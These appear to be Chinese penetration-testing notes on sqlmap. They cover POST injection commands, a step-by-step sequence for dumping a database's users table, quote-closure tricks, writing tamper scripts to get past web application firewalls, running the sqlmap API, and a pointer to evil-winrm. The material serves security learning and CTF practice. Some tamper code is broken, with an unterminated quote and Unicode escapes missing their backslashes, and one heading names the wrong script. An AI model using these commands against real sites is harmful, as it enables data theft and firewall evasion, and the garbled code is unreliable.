漏洞利用工具¶

SqlMap基础¶

命令大全：¶

https://blog.csdn.net/smli_ng/article/details/106026901

POST型注入¶

注入方式一¶

bp抓包并保存（如保存到一个文件里）

Bash

python sqlmap.py -r 文件路径 -p 注入点 --xxx

注：除-p之外，也可使用*来指定参数

常用命令

注入方式二¶

Bash

sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms

注：局限性是只会检测表单，无法检测其他地方

注入方式三¶

Bash

sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

指定注入点在参数n和p

常用命令：¶

爆出当前库¶

SQL

python sqlmap.py -r d:\post.txt -p uname --current-db

爆出当前库的表¶

SQL

python sqlmap.py -r d:\post.txt -p uname -D "security" --tables

爆出表的字段¶

SQL

python sqlmap.py -r d:\post.txt -p uname -D "security" -T "users" --columns

爆出字段内容¶

SQL

python sqlmap.py -r d:\post.txt -p uname -D "security" -T "users" -C username --dump

注：-r后跟文件路径（保存数据包），-p为指定扫描位置（也可全部扫描，但更花时间，指定可能有注入点的位置）

常见闭合方式：¶

单引号闭合，后接--+注释
双引号闭合，后接--+注释
单引号加括号闭合，后接--+注释
双引号加括号闭合，后接--+注释

闭合方式可根据报错，或页面变化等判断

注入点可能是用户名或者密码等其他的，要多方面考虑

SqlMap Tamper编写和API使用¶

Sqlmap模块编写¶

sqlmap tamper脚本编写 - 腾讯云开发者社区-腾讯云 (tencent.com)

上次HCTF中Li4n0师傅出了一道Kzone，非预期解可以利用Unicode编码关键字bypass掉WAF，发现如果手动编写sqlmap中的tamper脚本能够省事很多，于是就有了此文。

Sqlmap tamper简介¶

sqlmap是一个自动化的SQL注入工具，而tamper则是对其进行扩展的一系列脚本，主要功能是对本来的payload进行特定的更改以绕过waf。使用方法：

JavaScript

sqlmap.py XXXXX -tamper "模块名"

sqlmap脚本的tamper目录下有很多自带的tamper脚本，可以用来绕过特定的waf。这篇文章讲的很详细：sqlmap的tamper详解：http://www.myh0st.cn/index.php/archives/881/

sqlmap详解

关键函数¶

lowercase.py¶

我们从sqlmap自带的escapequotes.py了解tamper的结构。这个脚本的作用是将单引号转换成 \\'，双引号转换成 \\"，用于过滤了单引号或双引号的情况

JavaScript

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')

    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """

    return payload.replace("'", "\\'").replace('"', '\\"')

可以看到tamper脚本的基本结构为 priority变量定义和 dependencies、 tamper函数定义。

priority定义脚本的优先级，用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用或不适用的范围，可以为空。
tamper是主要的函数，接受的参数为 payload和 **kwargs，返回值为替换后的payload。

priority¶

在自带的tamper脚本中一共有以下几种优先级还可以自定义 -100~100

JavaScript

__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST

dependencies函数¶

dependencies函数，对tamper脚本支持/不支持使用的环境进行声明，可以为空，如：

JavaScript

import os
from lib.core.common import singleTimeWarnMessage

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
#singleTimeWarnMessage() 用于在控制台中打印出警告信息

tamper函数¶

tamper是整个脚本的主体。主要用于修改原本的payload，返回值为替换后的payload。比如Kzone中通过Unicode编码关键字中的字符来绕过waf。

JavaScript

def tamper(payload, **kwargs):
    payload = payload.lower()
    payload = payload.replace('u', 'u0075')
    payload = payload.replace('o', 'u006f')
    payload = payload.replace('i', 'u0069')
    payload = payload.replace(''', 'u0027')
    payload = payload.replace('"', 'u0022')
    payload = payload.replace(' ', 'u0020')
    payload = payload.replace('s', 'u0073')
    payload = payload.replace('#', 'u0023')
    payload = payload.replace('>', 'u003e')
    payload = payload.replace('<', 'u003c')
    payload = payload.replace('-', 'u002d')
    payload = payload.replace('=', 'u003d')
    return payload

kwargs¶

在官方提供的47个tamper脚本中，kwargs参数只被使用了两次，两次都只是更改了http-header

JavaScript

 sqlmap/tamper/vanrish.py

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

结语¶

恰当的使用或者编写特定的tamper脚本能够省去很多不必要的麻烦。且编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用如 __priority__=PRIORITY.LOWER来源于 sqlmap/lib/core/enums.py

JavaScript

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

class PRIORITY:
    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100

....
class DBMS:
    ACCESS = "Microsoft Access"
    DB2 = "IBM DB2"
    FIREBIRD = "Firebird"
    MAXDB = "SAP MaxDB"
    MSSQL = "Microsoft SQL Server"
    MYSQL = "MySQL"
    ORACLE = "Oracle"
    PGSQL = "PostgreSQL"
    SQLITE = "SQLite"
    SYBASE = "Sybase"
    HSQLDB = "HSQLDB"
    INFORMIX = "Informix"

class DBMS_DIRECTORY_NAME:
    ACCESS = "access"
    DB2 = "db2"
    FIREBIRD = "firebird"
    MAXDB = "maxdb"
    MSSQL = "mssqlserver"
    MYSQL = "mysql"
    ORACLE = "oracle"
    PGSQL = "postgresql"
    SQLITE = "sqlite"
    SYBASE = "sybase"
    HSQLDB = "hsqldb"
    INFORMIX = "informix"

Sqlmap Tamper总结¶

https://cloud.tencent.com/developer/article/1197361

Sqlmap API使用¶

本地启动¶

启动服务端¶

Bash

python3 sqlmapapi.py -s

启动客户端¶

Python

python3 sqlmapapi.py -c

非本地启动¶

服务端启动¶

Python

python3 sqlmapapi.py -s -H {IP} -p {port}

不指定端口默认为8775

客户端启动¶

Bash

python3 sqlmapapi.py -c -H {IP} -p {port}

IP和端口指定服务端的IP和端口

创建任务¶

Bash

new 参数 target -xxx

查看任务状态¶

Text Only

status

查看任务结果¶

Text Only

data

返回为json格式数据

Winrm服务漏洞¶

evil-winrm¶

Winrm服务（Windows远程管理）的渗透工具，很好用

https://www.cnblogs.com/backlion/p/17202253.html